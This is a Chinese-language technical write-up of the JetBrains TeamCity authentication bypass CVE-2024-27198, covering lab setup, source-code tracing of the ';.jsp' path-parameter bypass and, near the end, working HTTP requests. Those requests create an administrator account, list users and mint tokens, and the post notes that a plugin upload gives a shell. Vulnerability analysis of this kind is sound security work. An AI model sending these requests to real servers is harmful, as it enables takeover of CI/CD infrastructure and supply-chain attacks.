- 漏洞分析
JetBrains TeamCity发布新版本(2023.11.4)修复了两个高危漏洞JetBrains TeamCity 身份验证绕过漏洞(CVE-2024-27198)与JetBrains TeamCity 路径遍历漏洞(CVE-2024-27199)。未经身份验证的远程攻击者利用CVE-2024-27198可以绕过系统身份验证,创建管理员账户,完全控制所有TeamCity项目、构建、代理和构件,为攻击者执行供应链攻击。远程攻击者利用该漏洞能够绕过身份认证在系统上执行任意代码。
简介
JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付(CI/CD)服务器。JetBrains TeamCity发布新版本(2023.11.4)修复了两个高危漏洞JetBrains TeamCity 身份验证绕过漏洞(CVE-2024-27198)与JetBrains TeamCity 路径遍历漏洞(CVE-2024-27199)。未经身份验证的远程攻击者利用CVE-2024-27198可以绕过系统身份验证,创建管理员账户,完全控制所有TeamCity项目、构建、代理和构件,为攻击者执行供应链攻击。远程攻击者利用该漏洞能够绕过身份认证在系统上执行任意代码。
环境搭建
参考下面链接,使用docker搭建环境
sudo docker pull jetbrains/teamcity-server:2023.11.3
sudo docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
也可以使用下面docker-compose.yml ,其中5005是调试端口
version: '3.8'
services:
teamcity:
image: jetbrains/teamcity-server:2023.11.3
container_name: teamcity
ports:
- "8111:8111"
- "5005:5005"
user: root
将源码拖出来
docker cp b0:/opt/teamcity ./
通过查看目录发现其中它是使用了tomcat,主要的代码在teamcity/webapps/ROOT/
里面
修改catalina.sh
,添加调试 (docker内的java版本是17)
CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
然后将这个文件覆盖docker里面的catalina.sh
docker cp ./teamcity/bin/catalina.sh b0:/opt/teamcity/bin
重启即可使用IDEA调试
漏洞分析
JetBrains TeamCity 业务请求的分发处位于类 jetbrains.buildServer.controllers.BaseController
,漏洞点就在这个类下的handleRequestInternal
方法
public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
try {
ModelAndView modelAndView = this.doHandle(request, response);
if (modelAndView != null) {
if (modelAndView.getView() instanceof RedirectView) {
modelAndView.getModel().clear();
} else {
this.updateViewIfRequestHasJspParameter(request, modelAndView);
}
}
return modelAndView;
} catch (AccessDeniedException var8) {
......
}
简单的查看一下代码
首先调用doHandle方法来获取请求的视图和模型,如果modelAndView
为空,则直接返回,如果不为空则进入判断
在if语句里面还有一个判断,如果请求没有被重定向(即处理程序没有发出HTTP 302重定向),那么将调用updateViewIfRequestHasJspParameter
方法
跟进这个方法查看:
private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {
boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
String jspFromRequest = this.getJspFromRequest(request);
if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
modelAndView.setViewName(jspFromRequest);
}
}
protected String getJspFromRequest(@NotNull HttpServletRequest request) {
String jspFromRequest = request.getParameter("jsp");
return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin") ? jspFromRequest : null;
}
跟进上面代码可以发现modelAndView.setViewName(jspFromRequest)
,如果可以控制jspFromRequest
那么就可以访问一些需要认证的路径,jspFromRequest
来自GET参数jsp
但是需要满足一些条件:
jsp参数需要满足以.jsp
结尾,并且参数不能存在字符串admin/
如果当前的modelAndView具有视图名称,并且当前请求的servlet路径不以.jsp结尾,变量isControllerRequestWithViewName才会设置为true
还有jsp参数所指的路径不能和modelAndView视图名称相同
就使用登录页调试login.html
一下,设置参数?jsp=/app/rest/server
为什么使用jsp=/app/rest/server
? 因为/app/rest/server
这个路径是TeamCity REST API
是需要认证才能访问的,
如果直接访问会401,最后访问的是/unauthorized.html
在web.xml中有写各个状态码对应的页面
OK 回归正题,调试分析
GET /login.html?jsp=/app/rest/server
获取到了视图
因为modelAndView.getView()
结果为null,进入到了updateViewIfRequestHasJspParameter
中,跟进
第一步因为modelAndView.getViewName()=login.jsp
不为空和 request.getServletPath()=login.html
不以.jsp
结尾 ,所以isControllerRequestWithViewName = true
往下获取jsp参数
因为传入的参数/app/rest/server
不以.jsp
结尾,导致返回null
这里该如何绕过?
跟据网传的payload
,只需要在参数后面添加;.jsp
即可绕过,原理后面有解释
GET /login.html?jsp=/app/rest/server;.jsp
获取到jsp参数值后,往下进入了modelAndView.setViewName
public void setViewName(@Nullable String viewName) {
this.view = viewName;
}
这个方法会将该对象的参数view更新为jsp的参数值
然后在org.springframework.web.servlet.DispatcherServlet
的resolveViewName
方法进行视图渲染 , 得到 JstlView
类型的 view
后面在执行获取视图路径的 RequestDispatcher
过程中,在org.apache.catalina.core.ApplicationContext
里面的getRequestDispatcher
方法会对url作如下处理:
其中 stripPathParams
方法会将 uri 中出现 ;
及其之后的部分去除,因此最后请求 path 变为了 /app/rest/server
,进而绕过鉴权
整个漏洞利用过程大概就是这样子
上面我使用的路径是/login.html
,在网传的payload中都是通过访问一个不存在的路径触发404,然后servlet路径为/404.html ,进而使isControllerRequestWithViewName为true
漏洞利用
漏洞利用主要看的是API的功能,上面访问的/app/rest/server
的返回了很多API
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<server version="2023.11.3 (build 147512)" versionMajor="2023" versionMinor="11" startTime="20240309T055615+0000" currentTime="20240309T082334+0000" buildNumber="147512" buildDate="20240129T000000+0000" internalId="9ef67929-e0cc-4182-b4b0-34d4ec728f42" role="main_node" webUrl="http://localhost:8111" artifactsUrl=""\>
<projects href="/app/rest/projects"/>
<vcsRoots href="/app/rest/vcs-roots"/>
<builds href="/app/rest/builds"/>
<users href="/app/rest/users"/>
<userGroups href="/app/rest/userGroups"/>
<agents href="/app/rest/agents"/>
<buildQueue href="/app/rest/buildQueue"/>
<agentPools href="/app/rest/agentPools"/>
<investigations href="/app/rest/investigations"/>
<mutes href="/app/rest/mutes"/>
<nodes href="/app/rest/server/nodes"/>
</server>
添加管理员用户:
POST /xxx?jsp=/app/rest/users;.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
{"username": "用户名", "password": "密码", "email": "test@n.com", "roles": {"role": \[{"roleId": "SYSTEM\_ADMIN", "scope": "g"}\]}}
获取用户列表
GET /xxx?jsp=/app/rest/users;.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: \*/\*
Content-Type: application/json
Accept-Encoding: gzip, deflate
根据用户ID,获取用户token
GET /xxx?jsp=/app/rest/users/id:1/tokens/HaxorToken;.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: \*/\*
Content-Type: application/json
Accept-Encoding: gzip, deflate
…
要实现RCE,就要通过第一个payload创建一个管理员用户,然后进到系统里面利用TeamCity的插件功能,上传自己写的插件进行getshell